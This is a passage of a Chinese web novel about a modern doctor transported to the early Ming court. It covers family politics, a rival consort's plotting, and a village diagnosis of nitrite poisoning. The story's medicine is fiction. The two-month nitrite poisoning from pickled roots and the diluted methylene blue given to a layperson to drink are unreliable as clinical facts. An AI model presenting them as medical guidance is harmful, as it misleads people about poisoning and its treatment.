他急得跺脚,绕着厅柱打转,“马淳是咱们家女婿!如今摇身一变成了国舅!这……这不是把徐家往火上烤吗?”
徐达沉默着。
他端起凉透的残茶,呷了一口。
微苦的茶汁反倒让头脑越发清明。
他放下茶盏,“你们都想岔了。”
三子女闻言又是一愣。
这不是之前父亲的逻辑?
与皇家结亲是不祥的征兆。难道此刻父亲也是破罐子破摔,反正长女已嫁,只能改变立场?
徐达再次开口,解开了众子女的疑惑,“马淳与皇家别的亲贵不同。”
“第一,他无兵权。”徐达竖起一根食指,“外戚不掌兵,这是本朝铁律。他手上握着的是银针药囊,不是刀兵虎符。”
“第二,他不涉朝争。”第二根手指竖起,“你们见他几时钻营过权位?他眼睛里只有病入膏肓,没有官场沉浮!”
徐辉祖的眼神终于定住。
他重重点头:“姐夫……的确只爱埋首医书。”
徐妙锦小声嘟囔:“姐夫连六品院判都推辞不做呢。”
徐增寿这时候也觉得有道理。
姐夫是国舅,而不是藩王,这天然就有一道藩篱隔着。
徐达缓缓竖起第三指:“第三,陛下待皇后情深似海。这份情意,便是马淳最大的依仗。他只要安分治病救人,朝廷上下谁敢动皇后的手足?”
厅里落针可闻。
“第四,”他的声音陡然拔高,“身为国舅却不掌权,这反而是最安全的位置!荣耀在身,旋涡不沾。马淳是陛下与皇后放在心尖上要护着的人。”
他看向徐增寿:“我们成了这样的人家亲眷,是避开了凶险,攀上了最稳当的靠山!”
徐增寿怔在原地,脸上的惶急如潮水般退去。
他慢慢跌坐回椅中,喃喃道:“竟……竟是这样……”
徐妙锦跳了起来,眼中全是亮光:“姐夫以后是名正言顺的国舅爷了?那我们家……”
“父亲是说,”徐辉祖终于找回了自己的声音,如释重负道,“姐夫这顶‘国舅’的帽子,非但不是枷锁,反是徐家的护身符?”
徐达露出一夜以来第一个真切的微笑。
那笑容里透着战场老帅洞穿迷雾的精明。
“正是!他行他的医,得他的清名;我们守我们的门户,借着这层稳妥亲戚的屏障,安稳度日。”他抚了抚颔下短须,眼角的纹路舒展了些,“天底下再没有比这更两全的安排。”
徐增寿一拍大腿:“明白了!就像守着粮草辎重的大营!不冲杀在前,却安如泰山!”
徐达赞许地点头。
徐妙锦眼珠一转,凑近扯了扯父亲的袖角:“那明日,我是不是该改口叫姐夫‘国舅老爷’了呀?”
她声音里还带着孩子气的促狭。
“胡闹!”徐辉祖板起脸,“既是一家人,越要守本分!”
“辉祖说得对。”徐达收了笑,目光扫过儿女,“无论他位份如何变,马淳心性未改。你们待他如初,便是最好。不可骄纵,不可轻慢。这不仅是本分,亦是保家安身的智慧。”
徐增寿咂摸着父亲的话,咧开嘴,那笑容竟有了往日没心没肺的样子:“得嘞!那往后见了姐夫……咱心里是国舅爷,嘴上还得是姐夫!”
徐达没瞪他,只轻轻颔首。
厅堂门被悄声推开。
管事垂手立在廊下:“国公爷,两位公子,小姐,早膳备在东暖阁了。”
一夜的惊涛骇浪、反复权衡,终于算是平息了。
……
深夜的小青村医馆。
徐妙云卸了钗环,倚在床头。
马淳坐在床边,轻轻为她揉捏着有些浮肿的指节,动作舒缓。
徐妙云看着丈夫专注的侧脸,眼底溢满安稳的暖意。
父亲通透,丈夫本分,姐姐情深,陛下开明,这泼天富贵竟落得如此安稳。
她心中最后一丝尘埃落定。
“累了么?”马淳停下手,抬眼问她,“早些歇息?”
徐妙云摇摇头,目光柔柔:“心里踏实,倒不觉得困。就想这么坐着,和你说说话。”
马淳笑了笑,重新低下头,继续为她按摩。
“今日入宫,除觐见了陛下和姐姐,还有一事。”
“何事?”徐妙云见他语气有异,微微直起身。
“给雄英复诊。”马淳缓缓道,“脉象强健,无虞。”
“是好事。”徐妙云点头。
马淳深吸一口气,抬眸看向妻子,“后来,我出来时遇见了太子妃。”
“她……”马淳斟酌着词语,眉头微蹙,“她面色如常,温言和气。但她看我的那一眼……”
他顿了顿,“那一眼里,寒意迫人。虽只一瞬,但决非善类。似是……憎恶?还是忌惮?说不清,但极冷,极沉。”
马淳的话,像一枚石子投入徐妙云心湖。
她微微一怔,随即,冰雪般的聪慧便已明了事情的关键。
丈夫无需多言。
只需“太子妃”、“寒意”几个字,徐妙云脑中顷刻间便如明镜般清澈。
徐家长女,见识过朝堂暗流与内宅争斗的厉害,岂会不明丈夫未尽之意?
父亲徐达交还兵权,何尝不是远祸全身?
后宫朝堂,步步惊心。
何况太子妃吕氏,她的儿子朱允炆……
徐妙云瞬间明了。
她轻轻抽出手,覆上马淳紧握的拳。
“你是说……雄英?”
马淳重重颔首。
“是。”他沉声确认,“去年今日,本不该有如今这番光景。”
无需更多解释,两人心照不宣……
第129章杀子夺路之仇!吕氏岂能不恨?
去年,若无马淳那神乎其技的医术,硬是将大明未来的两位顶梁柱——年仅八岁的皇长孙朱雄英,以及敬爱的马皇后,从“历史既定”的死亡线上生生拉了回来。
本该命殒的雄英活泼康健。
本该驾崩的皇后凤体日安。
这本是泼天之功,无上福祉。
然而,天命改了,皇位承续的道路也陡生变数。
最大的变数,就悬在太子的两个儿子之间。
嫡长子朱雄英,母族乃开平王常遇春之女常氏,根正苗红,名正言顺的皇太孙人选。
他是太子朱标与常太子妃的嫡长子,是帝国法理上最名正言顺的未来继承者。
次子朱允炆,生母便是太子妃吕氏。
常太子妃去世后,吕氏才被扶正。
朱允炆聪慧敏秀,深得太子与吕氏疼爱。
然有雄英在前,他终究是庶子身份转换的嫡次子。
原本的历史若无意外,朱雄英早夭,朱允炆便成为太子唯一的嫡子,太孙之位毫无悬念。
可惜,马淳改变了这一切。
雄英还活着,而且活蹦乱跳。
常太子妃虽早逝,但雄英这个嫡长子的存在,就是一道坚不可摧的屏障。他牢牢占据了继承序列的首位。
太孙之位,原本几乎落入朱允炆囊中的希望,在马淳救下朱雄英的那一刻起,便变得渺茫如烟。
吕氏处心积虑多年,所求为何?
无非是儿子的锦绣前程,是他日母凭子贵的无上荣光。
而马淳,正是那个在她离凤位仅一步之遥时,在她儿子通往权力顶峰的最后关口,悍然挡在路中央的人。
他救活的不只是一个孩童。
他阻断的是一条原本可能通往最高处的捷径。
这杀子夺路之仇,纵然吕氏表面温婉守礼,心中岂能不恨?
马淳继续道,“雄英便是她的眼中钉。而雄英健康在世一日,便是她心头刺一日。我这个救活雄英的人……”
他自嘲地扯了下嘴角:“我这‘徐国公’,在她看来,恐怕不止是块绊脚石,更是一道催命符,悬在她儿子头顶。她心气极高,不会甘心允炆只封藩王,远离权力中心。”
徐妙云听着,心底寒意隐隐。
权力之路,容不下半点仁慈。
马淳的担忧,绝非杞人忧天。
“我明白了。”徐妙云的声音依旧沉稳,“你救了陛下最疼的长孙,皇后娘娘的嫡长外孙。这份功劳,无人能抹杀。可吕氏心中这根刺,却已深深扎下。无论你我如何,都已成为她的障碍。”
马淳点点头:“是敌非友。虽非明面,暗箭更难防。”
“所幸,”他话锋微转,“今日陛下赐爵,亲口昭告。我顶着这‘徐国公’的身份,又是皇后娘娘的亲弟弟。她一时半刻,绝不敢轻举妄动。这国公的身份,如同盔甲,也是一道护身符。”
“不过,这盔甲虽厚,却也不是万全。宫闱倾轧,向来杀人不见血。尤其她身在储宫,手握内廷权柄。”
“你的担忧,我懂。”她语气坚定,“小心驶得万年船。我们该做何打算?我徐家虽已放权,但勋贵根基犹在,宫中也有些旧时人脉。”
马淳稍作思忖,眼中光芒沉静。
“首先,谨守本分。”他条理清晰地道出思虑,“你我一如既往。我行医济世,安分做个大夫。你身为国公夫人,亦要温婉持重,与东宫,该有的礼数周全,绝不多言,不多行。绝不授人以柄。谨记,少做少错,以‘静’制‘动’。”
“对吕氏其人,需敬而远之。表面功夫要做足,内里须得万般警惕。她城府极深,擅于隐忍,绝非等闲之辈。”
“其次,便是雄英那边……”马淳眼中闪过一丝医者的审慎,“陛下的信任,源于我能保长孙康健。这更是我等安身立命的根基。往后为雄英诊疗,更要打起十二分精神。任何药物饮食,务必精查。不可假手于人,我必亲力亲为。皇后姐姐那里亦需如此,一丝都不能放松。保他们万安,便是保我们自身太平。”
“再者,妙云。”他目光落在妻子腹部,“你身怀六甲,更需事事小心。府邸未建,这医馆虽清简,反倒自在。但饮食起居,也要加倍留意。尤其日后宫中赏赐下来的东西,虽是好意,亦需谨慎查验,不可马虎。宁可谨慎些,也不可心存侥幸。”
徐妙云听得认真,每一点都记在心里。
她深知丈夫向来沉稳低调,今日如此郑重其事地叮咛,皆因那潜藏的威胁如同毒蛇,隐在暗处伺机而动。
“我省得。”她郑重应下,“姐姐待我如亲妹,入宫时我自会留意分寸。至于家中用度,待开府建牙,府中上下人等,必严加筛查,不留一丝缝隙。”
她说着,眼中闪过将门之女的刚毅:“我徐妙云并非不谙世事的小娘子。内宅机锋,朝堂影动,我心中自有沟壑。你安心做你的济世良医,守好太医院之本分。其余诸事,你我携手并肩,共度便是。”
她语气坚定:“国公之位是护身符,我们夫妻同心,谨守本心,恪守规矩,便是另一重铠甲。吕氏想动,也须得掂量掂量其中的分量与风险!父亲所言极是,你身份贵重,却又无实权,正是陛下与皇后娘娘最放心的屏障。她若妄动,便是犯了大忌讳。”
马淳长舒一口气,将内心的隐忧说破,压力反而泄去大半。
“你说得对。”他脸上重露温和笑容,“兵来将挡水来土掩。我马淳一介医者,治病救人便是全部心意。只要她不动歹念,我便当她不存在。过好咱们自己的日子,护好咱们的家。”
他的目光再次落在妻子的小腹上,温柔如水:“也护好咱们的孩子。”
徐妙云脸颊微红,低头轻抚小腹,那尚未显形的生命,是她此刻最大的底气与未来无限的期许。
“嗯,护好咱们的孩子。”她声音轻柔却充满力量。
而直到此时徐妙云才更加理解为什么自己的丈夫不去认亲。
因为宫廷争斗是残酷的……
第130章血亲和亲戚九成九……不得好死
小青村医馆。
马淳刚为一个咳喘的老农施完针,外头雨声便渐渐沥沥地落了下来。
一个多月前的国公加封、凤阳迁坟,在刻意回避中远去了,他现在,只是这小小医馆的坐堂大夫。
“下一位。”他净了手,扬声唤道。
棉布帘子猛地被掀开,闯进几个人来。
当先是个挺着浑圆孕肚的妇人,约莫七八个月光景,脚步迟滞,每一步都挪得吃力。
一个粗壮汉子小心翼翼地搀扶着她,亦步亦趋,他身后还跟着两个老妪。
“大夫!”那汉子一进来便高声嚷道,“快给我家婆娘看看!今日,就今日!务必让娃儿今日生出来!”
马淳眉峰微不可察的一蹙。
他起身,从案后转出,目光沉静地落在妇人脸上,“何时起的征兆?”
“还……还没动静哩。”妇人有气无力地开口,“就是肚里的小冤家,今日闹腾得格外厉害,总往下头坠……”
“没动静?”马淳走上前,对那搀扶的汉子温言道,“劳驾,扶这位大嫂到那边的诊床上,我需仔细诊看。”
汉子犹豫了一下,脸上堆出急切又讨好的笑:“马大夫,您就别管这些了!我们打听过,您有神仙手段!今日是大发的吉日,寅卯相交,紫气东来!大师都说,今日午时落地的小子,命格贵不可言,将来是要封侯拜相的!”
他越说越激动,唾沫星子几乎溅到马淳脸上,“我们李家等了足足三代单传哪!就指望着这个男丁!求您快给想想办法,催生!现在!就现在生!再迟些,过了午时三刻,福分就差了一大截子!”
诊床上的妇人闻言,挣扎着想撑起身子阻挠丈夫,却被身后的老妪一把按住。
那老妪也帮腔道:“是啊大夫,您行行好!俺们知道您的规矩,诊金好说!”
说着,便去掏怀里裹得严严实实的手帕包。
马淳没看那手帕包。
他径直走到诊床边,无视那汉子恳求的目光,指尖已轻轻搭上了妇人的手腕。
脉象沉滞中带着一丝紊乱的滑数,并非临盆之兆。
他指尖又轻柔地挪到妇人腹部不同位置按抚、感知胎位。
“胎位不正。”他收回手,“怀相也不算很稳。眼下并非生产良机。强行催生,对母子皆有性命之忧。”
他顿了顿,看着那妇人和汉子骤然灰败下去的脸色,语气没有丝毫动摇,“强行提前,如同杀鸡取卵。吉凶在于父母修德积福,岂是时辰可以强求?”
“胡说!”搀扶的老妪厉声尖刻起来,“我们孙媳妇怀的分明是个带把儿的,好得很!是你藏着掖着,不肯施展本事!什么神医?我看你就是见钱眼不开!怕我们掏不出银子怎的?”
另一个也指着马淳鼻子唾沫横飞:“就是!嫌银钱少你说个数!耽误了我们李家贵子的吉时,你一个小小村医担待得起吗?!”
马淳看着几人。
汉子和他两个长辈眼中只有疯狂和急切。
那孕妇脸色煞白,眼神无助。
马淳心中了然,这些人只想要所谓的贵子,至于产妇性命,无人在乎。
若他们有法子,怕真会动刀。
他没有疾言厉色的训斥,那样只会激怒愚昧。
他故作沉吟,面露犹豫,“也罢。既然你们执意要催,也不是没办法。”
汉子和他娘眼睛顿时亮了。
旁边几个同族亲戚也露出喜色。
马淳转身走向药柜,假装在挑选药材。
他背对着他们,说道:“只是有句话得说前头。”
众人一愣。
“大师只说吉时生贵子,他大概忘了告诉你们另一层。”
汉子的喜色僵在脸上。
“另……另一层?什么另一层?”一个同族老者追问。
马淳的声音很飘忽,“贵人命太硬。这份‘贵气’总要找地方卸,十之八九,就转到亲戚身上了。”
众人脸色齐变。
那汉子娘急道:“马大夫,啥意思?”
马淳缓缓转过身,手里拿着根普通甘草,“意思就是,天生贵命者,克父,克母,克六亲,血亲缘浅薄。血亲和亲戚九成九……不得好死。”
话语平静,却像盆冰水浇下,诊室里瞬间死寂。
汉子嘴唇哆嗦,“不……不可能!”
马淳扫过他们煞白的脸。“历朝历代,例子不少。我随便讲几个吧。”
他走到诊床边,“秦末项羽,力能扛鼎,后来乃是西楚霸王,够贵吧?结果呢?叔父项梁战死,本人自刎乌江,家族尽灭。”
一个亲戚腿肚子开始抖。
“汉高祖刘三……”马淳用百姓熟知的称呼,“斩白蛇起事,当了皇帝,够贵吧?他爹刘太公差点被项羽炖了汤。”
众人倒吸凉气。
“他登基后就杀功臣,韩信、彭越……剁成肉酱,亲如手足也没好下场。”
汉子的娘捂住了胸口。
“还有唐太宗李世民。”马淳继续说道,“开创贞观之治,明君圣主,可他的贵气从何而来?玄武门兵变啊,亲手射杀亲大哥和三弟!然后屠尽大哥、三弟满门男丁!逼得亲爹让位!”
这话像重锤砸在每个人心坎。
尤其是那几个刚才还附和的同族亲戚。
他们脸色由白转青。
他们之前就是被鼓动来的。
汉子许愿儿子将来富贵提携同族。
此刻话都听明白了,贵子是克星的命!
现在贴上去,将来是要跟着倒霉的!
一个瘦高亲戚猛地窜出来。“李三哥!你可别糊涂!娃儿该什么时候生是天意!强求不得啊!”
另一个矮胖亲戚也赶紧劝,“是啊三儿!听大夫的准没错!催出来的贵气是害人的东西!咱族里可经不起折腾!”
其他人纷纷附和。“使不得使不得!”
“娃健康比啥时辰都强!”
“平安是福!”
“你那大师怕是个骗子!”
矛头瞬间转向,这些亲戚们生怕沾染上这份“克亲”的贵气。
汉子和他的娘傻眼了,亲戚们倒戈得太快!
汉子不甘心,还想争辩。
“可……”
“没可是了!”一个长辈亲戚厉声打断。“你要造孽害人?还是听大夫的!”
汉子娘看着儿子,又看看媳妇肚子,再看看那群避之不及的亲戚,脸上红一阵白一阵。
最终,汉子垮下了肩膀,“马……马大夫……那……那您说咋办?”
马淳暗暗松了口气,“扶好你媳妇,回家安心待产,胎位我会想法慢慢调正,瓜熟蒂落,母子平安,才叫福气。”
汉子羞愧地低头,“哎,哎,听您的!”
汉子娘也讪讪的,“麻烦您了大夫……”
几个同族亲戚抢着上前搀扶孕妇。
动作小心翼翼,像捧个烫手山芋又不敢摔了。
一家人连声道谢,在亲戚簇拥下匆匆离去。
医馆内恢复了安静……
第131章吕氏下黑手了!
医馆里。
送走了这一家子人后,马淳坐回到了柜台后面。
这种情况他其实遇到过很多,除了心中对这些人的愚昧报以同情之外,他更多地关注于这些半瓶子水的人的心理状态。
心理学上有个‘达克效应’,意思是越是无知的人越觉得自己聪明。
如果刚才马淳坚持用道理去跟这些人辩驳,大概率会闹得不欢而散,甚至会被这群已经被快摸着富贵冲昏头脑的亲戚们,打砸了整个医馆。
所以马淳才不得已用上了用魔法打败魔法这一招。
要不怎么说当医生的其实就是半个心理学家。
因为有时候心病更难医。
……
东宫深处。
吕氏倚在贵妃榻上,那个本该埋在土里的小贱种朱雄英,活蹦乱跳地被宫人簇拥着跑过回廊。
每一阵孩童的嬉笑都像针,扎在她心尖上。
那活蹦乱跳的身影在她脑海里挥之不去,如同附骨之蛆。
“小主儿今日气色真好呢。”一个低哑的声音传来。
吕氏眼皮都没抬。
那是李嬷嬷,她幼时奶母。
“好?”吕氏终于开口,“好得碍眼。”
李嬷嬷眼珠转了转,向前挪了半步,声音压得更低:“娘娘……何必置一时之气。那位,”她下巴朝宫外方向虚点,“说穿了,不就是个行医的?”
吕氏动作一凝,半侧过脸。
李嬷嬷趁热打铁:“大夫……怕的是什么?最怕砸了招牌!招牌一碎,金身也就跟着垮了。”
“奴婢在宫外老家见过,那些庸医失手治死了人,病人亲属抬棺上门吵闹不休,名声立时就成了臭狗屎,再好的本事,街坊邻里的唾沫星子也把他淹死了!”
吕氏闻言点点头,面上却不动如山。
李嬷嬷眯起眼,“咱们……就不能寻些个稀罕的、谁也没见过的‘病’?让他治!神仙难断无头病。多‘失手’几次,一次一个‘庸医误命’,两次三个……再响的招牌,也经不住几锤子砸!”
“到时候,陛下眼里的神针,可就变成一根要命的废针了。一个失了圣心的‘庸医’,又算得了什么呢?娘娘是千金之体,何必污了自己的手?自有‘天罚’慢慢磨他……”
贵妃榻上,吕氏嘴角终于有一丝笑意。
……
天色向晚。
国公府的车驾停在医馆门前,帘子掀开,徐妙云扶着侍女的手款步下车。
她进门便看到马淳坐在窗下看脉案。
“听说午后李家闹起来了?”她走近,语气带着惯常的平和。
马淳放下手中的脉案,起身迎她。
“一点小事。为了催生,闹着想选什么吉时。”他语气轻描淡写。
接着,他简单提了“达克效应”这个说辞。
徐妙云笑了笑,她家夫君,似乎总能用旁人想不到的法子,四两拨千斤。
但很快,她的笑容淡了下去,纤指轻轻理了理马淳微有褶皱的衣襟。
“今日递牌子去坤宁宫请安,远远瞧见东宫那位在游园。”她声音依旧平稳,“我离宫时,大哥递了话进来,说那边近来走动频繁,似乎……颇是留意市井间的江湖奇人,特别是能寻‘怪症’的。”
“怪症”两个字,被她说得极轻。
两天后。
一辆青帷马车停在了小青村医馆门口。
赶车的是个面生的精壮汉子,他跳下车辕,却并不撩帘,似在等候命令。
片刻,车门从里打开。
先下来的是一位衣着还算体面但神情木讷、五十上下的男人。
他脸上带着病态的灰败,眼神空洞,扶着车厢门框的手微微发颤,仿佛风一吹就能倒。
随后下来的是一个愁容满面的中年妇人。
最后下来的,却是一位头发花白的老管家模样的人,一身缎面长袍,腰间悬玉。
他目光扫视了一下简陋的医馆门面,眉头几不可察地皱了一下,但很快收敛。
“敢问马神医可在?”老管家立在门口,“小老儿是南城王员外家的管事。”
正在给一个老农号脉的马淳抬起头。
徐妙云恰好今日回府安排一些府邸建造事宜,不在身边。
他看到那老管家身后形容枯槁、仿佛被抽走了所有生气的木讷男人。
“老人家请坐。”马淳示意诊桌前的长凳,又对那老农和气道:“老伯,您的药按方抓五副,小火煎服便是。今日诊费免了。”
老农千恩万谢地去了。
老管家并未落座,侧身将身后两人往前让:“马神医,劳您圣手仁心,务必救救我王家这位……怪病缠身的大管事!”
那中年妇人几乎要哭出来:“神医!求您了!我们当家的他……他快撑不住了啊!”
她说着,用力摇晃那木讷男人的手臂,“说话!你自个儿跟神医说说啊!”
可男人只是呆呆地站着,眼珠偶尔动一动,毫无反应。
马淳起身,走到那木讷男人面前。
离得近了,看得更清。
这男人明明正值壮年,却形容枯槁,面无血色,嘴唇干裂泛着不健康的灰白。
最特别的是他那双眼睛,空洞,麻木,仿佛对周遭一切失去了感知。
呼吸更是浅慢异常,胸廓起伏微弱。
“多久了?”马淳问。
“快……快两个月了!”妇人抢着答,“起先只是懒怠,不爱说话,吃饭也不香。请了城东的孙大夫看,说是劳伤心脾,开了安神补心的药。喝了十来天,不见好,反倒越来越不对劲。不说话,不理人,整日发呆,腿脚也渐渐使不上力,饭也咽不下去,喝水都呛……”
老管家适时补充,语气沉重:“后来愈发沉重。请了同安堂的周坐堂,连方知敏方供奉也曾屈尊来过敝府。都说……症状奇特,非寻常郁证虚损可比。
“开了方子,安神醒脑、化痰开窍的都用尽了!人参、黄芪、石菖蒲……银钱花流水似的,却……唉,毫无起色!
“听闻神医曾有施妙手于方、周二位都束手之症,老爷这才抱着一线希望,让小老儿斗胆前来……”
他把方知敏和周坐堂都点了出来,话里话外将马淳架在了一个极高的位置上。
第132章第一波!亚硝酸盐中毒!
马淳听着,目光在男人异常灰白的唇色、木然的表情以及那极其缓慢微弱的呼吸上停留片刻。
他伸出手指:“得罪,我先查探一番。”
指尖稳稳搭上了病人的寸口脉。
脉象极其沉细、迟弱。
像是几近断流的一线溪水,微弱得几乎难以感知。
马淳收回手,眉峰微微聚拢。
这脉象和病人外表的虚弱倒是吻合,但那种极度的木僵、无反应状态,以及……那死灰般的唇色?
他脑海中下意识地闪过几个现代医学病名。
甲状腺功能减退的粘液性水肿?
帕金森?
都不太像。
“请随我来。”马淳转身,示意他们走进内室。
那里光线更好,而且……有他的“倚仗”。
内室靠墙立着一个布帘遮掩着的古怪柜子。
马淳拉开布帘,推出一台银白色的机器。
在昏暗的室内,是他的便携式血氧仪和血糖仪。
老管家的眼皮剧烈地跳动了一下,他只是奉命行事,但眼前这东西……闻所未闻!
这就是让方知敏都栽跟头的“仙物”?
妇人搀扶着几乎瘫软的木讷男人走到机器旁。
马淳熟练地拿出一个小小的塑料夹子模样的东西。
“不碍事,只是看看你体内气血运行如何。”他温和地解释,将血氧夹轻轻夹在男人枯瘦如柴的食指指腹。
嗡——
机器发出轻微的启动声,亮起幽蓝色的数字显示区域。
老管家的头埋得更低了,眼神死死盯住那亮起的数字面板。
时间滴答而过。
SpO2(血氧饱和度):78%
HR(心率):54 bpm
马淳的眉头骤然锁紧!
78%?
正常人应当在95%以上!
54的心率也远远低于正常值!
这已经是极度危险的缺氧和心动过缓状态!
这绝不是简单的郁证或虚损!
这更接近于某种直接导致组织器官严重缺氧的恶疾!
他猛地想起刚才那异常灰白的嘴唇——发绀!
严重缺氧的典型表现!
是什么导致了如此严重的缺氧和致命的心动过缓?
几乎是电光火石间,一个在现代医学里不算罕见、但在古代却极易因症状“奇特”而被误诊甚至完全忽视的中毒,跃入他的脑海!
他目光锐利如刀,猛地射向那妇人,语速快而清晰:“你家当家的,两个月前除了变得懒怠不爱说话,可有其他变化?比如,是不是特别爱吃一种特别甜、带着点特殊泥土气的食物?像一种腌制很久的、颜色不太好看的根茎或者块茎?”
妇人被马淳突然严厉的语气吓了一跳,但听到问题,脸上先是茫然,随即猛地想起什么,用力点头:“啊!对对对!是有!有!大概生病前一个多月,隔壁村贩菜的刘婆子给送了一坛她自己腌的老盐大头菜根!
“咸得齁嗓子眼,还一股子土腥气!别人都不爱吃,就我家这口子,说脆生生的有嚼头,特别爱!当零嘴儿吃着香!
“那段时间他每天都要啃几块!我还骂他,那么咸的东西,不怕齁出病来!后来……后来不就……”
看她满眼自责的模样,不难看出,定是觉得自家男人的病是自己咒的。
马淳心中雪亮!果然如此!
他立刻又拿出血糖仪:“再看看他身体里的糖分。”
他快速消毒,采了一滴指尖血滴在试纸上。
很快,血糖仪显示:4.8 mmol/L。
数值在正常低限,暂时没有血糖低。
两个重要指标准确锚定!
马淳长长吁了口气,心中再无怀疑。
他转身,目光平静地看向那呼吸几乎不可闻的病人,看向震惊的眼珠子都快瞪出来的老管家,淡淡开口:
“不是什么郁证虚损,也不是方供奉他们想的方向不对。”
“王管事是吧?你家这位,是中了毒。”
“毒?!”老管家和妇人同时失声惊呼!
马淳缓缓吐出两个字,清晰无比:“亚硝酸盐中毒。”
“那老盐腌的大头菜根,想必用的腌料不纯。腌制的盐块里,含有太多天然的亚硝酸盐杂质。或者腌制时间不够长不够透,导致菜根里含有大量的亚硝酸盐未充分转化分解。
“大量食用,亚硝酸盐进入血液,将正常的血红蛋白氧化成了高铁血红蛋白。
“这高铁血红蛋白无法再携带氧气!病人体内严重缺氧,脑子供血不足,反应迟钝木僵只是开始,接下来会出现晕厥,最终可能死于心跳骤停或者窒息!他的面色发灰、嘴唇发绀、呼吸微弱、心率缓慢,皆是严重缺氧所致!”
老管家听得脸色惨白,后背被冷汗浸透!
他不懂什么高铁血红蛋白,但“毒”“中毒”“严重缺氧”、“心跳骤停”“窒息”、“死亡”这些词,却扎进他的耳朵!
任务……彻底办砸了!
他哆嗦着嘴唇:“那……那方供奉和周坐堂……”
“他们受限于诊法。”马淳的语气恢复了平淡,甚至带着一丝医者的怜悯,“只依靠望闻问切四诊。面对没有典型热证寒证、症状表现为极度虚衰木僵的病人,自然会先考虑郁证、虚劳、痰阻脑窍这些常见之疾。谁又会轻易想到一个看似寻常的爱吃腌菜的小嗜好,竟差点成为杀人不见血的毒刃?”
他又补充道:“这症状拖了两个月还没死,只能说中毒剂量不算即时致命,但造成的伤害已深入骨髓。
“即便现在救治,也很难完全恢复如初了。但立刻治疗,保命有望。”
他着重强调了“很难完全恢复如初”,然后便清晰地看到老管家眼中最后一丝侥幸彻底熄灭。
马淳不再看他们,动作迅速地拉开药柜。
取出一小瓶密封的药水——那是他之前根据系统配方兑换、作为急救备用的一小支美蓝(亚甲蓝)。
亚硝酸盐中毒的特效解毒药!
如今正好用在刀刃上。
“这药能救命。”他将药瓶递给妇人,“用干净的冷水,将这瓶里的药水稀释一百倍!立刻给你当家的灌服下去!每次能灌多少是多少!然后立刻带他回城!去找方供奉或周坐堂,告诉他们亚硝酸盐中毒的诊断和我用的这药。他们会知道后续如何处理。快!”
美蓝是特效药,但后续维持治疗和对症支持同样重要,需要城里有经验的大夫接手。
妇人和老管家哪里还敢耽搁,几乎是连滚带爬地搀扶着那木讷病人上了马车。
那精壮车夫临走前瞥向医馆门口的眼神,复杂无比。
夜幕深垂,徐妙云早已回府,此刻端来一盏热茶,轻轻放在桌角。
“走了?”她低声问,声音带着一丝了然的宁静。
“走了。”马淳放下器械,接过茶盏,“很识相。知道事情砸了,后续不会再敢沾手。”
徐妙云拿起针线篓,坐在他对面,“是什么病?真那么难?”
“亚硝酸盐中毒。”马淳啜了一口茶,简单解释了一下原理。
“症状就是极度虚弱、木僵、面色死灰、呼吸慢、脉搏弱,像被抽了魂榨干了气血的活死人。古代名医除非亲眼见过许多例,否则很难与平常的腌菜联系起来。在他们眼中,自然是‘怪症’。我能一口道破,靠的不是神通,是知道了病因本质。再靠机器确认了缺氧的证据。信息差而已。”
徐妙云嘴角微扬,“看来吕氏这第一招,又变成了你的踏脚石。不仅没砸到招牌,反而……坐得更稳了。那些仪器,可把那位王家的管事吓得不轻吧?”
马淳放下茶盏,“吓是吓到了。不过,他们送来的病人,也的确该救了。毒入血肉两月,虽勉强吊着命,但损伤……怕是不可逆了。我能做的,是给他一条活路。”
……
第133章医者医的不仅是个体还有这个世道
马淳刚送走一位来看风寒的老妪,搓了搓冻得有些发僵的手。
这份宁静并未持续太久。
急促而沉重的脚步声自门外响起。
紧接着,一个身影几乎是踉跄着扑进了门槛。
是胡氏。
她一手紧捂着自己隆起如小山般浑圆的肚子,另一手扶着门框支撑身体。
“马……马神医……”胡氏的声音嘶哑“求您……求您救救我家官人!”
马淳和徐妙云同时站了起来,眼中俱是惊诧。
马淳快步上前搀扶住她几乎要滑倒的身子:“傅夫人?您怎么……快坐下说!”
徐妙云也已搬来了椅子,扶着胡氏小心坐下。
她怀孕已近九个月,身形笨重,情绪激动之下,呼吸极为困难。
胡氏坐下后,身体仍在控制不住地颤抖。
“忠哥……忠哥他……”她哽咽着,几乎说不出完整的话,“还在……还在诏狱里!已经……一个月了!”
马淳猛地一怔。
一个月?
他脑中嗡地一声。
这些日子,国公册封、父坟迁移,诊务繁忙,加上吕氏暗中的小动作被他化解,日子似乎趋于稳定。
他竟然……几乎忘记了傅忠这茬!
那个油手抓烧鸡、官服蹭出油光的家伙,还在牢里?
傅友德?
对了!颖国公!
马淳立刻意识到关键:“傅夫人,国公爷他……”
“公爹……公爹他不在应天!”胡氏哭道,声音里充满了无助,“月初接到调令,领兵去了北边备边……归期……归期未定啊!”
她抬头看着马淳,“官人他行事荒唐,公爹在时还能说他两句。如今……如今公爹远在边关……妾身一个妇道人家,拖着身子……实在不知该如何是好了!”
她死死抓住马淳的衣袖,像抓住最后一根救命稻草:“马神医!您跟妙云姐姐都是好人!您救过圣上,说话有分量!求您……看在相识一场,看在妙云姐姐的情分上……救救他!诏狱那种地方……妾身怕……怕……”
她不敢再说下去。
一个月。
马淳的心一点点沉下去。
空印案。
傅忠在狱中,绝不仅仅是因为当街与人争执或者什么荒唐事。
蒋瓛的警告言犹在耳——
“陛下要的是户部那条线。傅忠既然牵扯进来,总要有人给个交代。”
这“交代”意味着什么?
马淳想起前不久在医馆门口徘徊、最终没进来转身离去的几个神情惶惑的低阶官员。
想起茶馆角落里突然压低、瞬间噤若寒蝉的低语。
想起深夜里马蹄敲打青石板的急促声响。
洪武年间的应天府,看似平静的湖面下,旋涡从未停止。
朱元璋那张威严而疲惫的脸,仿佛又浮现在眼前。
低沉的话语在心头回响:“你觉得,咱该杀他们吗?”
那并非一句简单的询问,更像是一次灵魂的拷问。
彼时他答:“首恶当诛,胁从可悯。”
如今,契机就在眼前?
一个为傅忠求情的机会,是否也是为更多被裹挟其中、罪不至死的人发声的机会?
胡氏抬起泪眼婆娑的脸,望向徐妙云:“姐姐……求您……”
徐妙云握住胡氏冰凉的手,安抚地拍了拍。
她的目光与马淳在空中交汇。
没有言语,但彼此都明白对方心中所想。
马淳深吸一口气,稳了稳心神,“傅夫人,你冷静些。动了胎气就糟了。”他语气尽量放缓和,“傅忠的情况,我再想想办法。”
胡氏连连点头,“多谢!多谢马神医!您大恩大德……”
马淳摆摆手,示意徐妙云先照顾胡氏。
他踱到窗边,望着门外清冷的街道,思绪翻腾。
直接找蒋瓛?
那条线太深了。
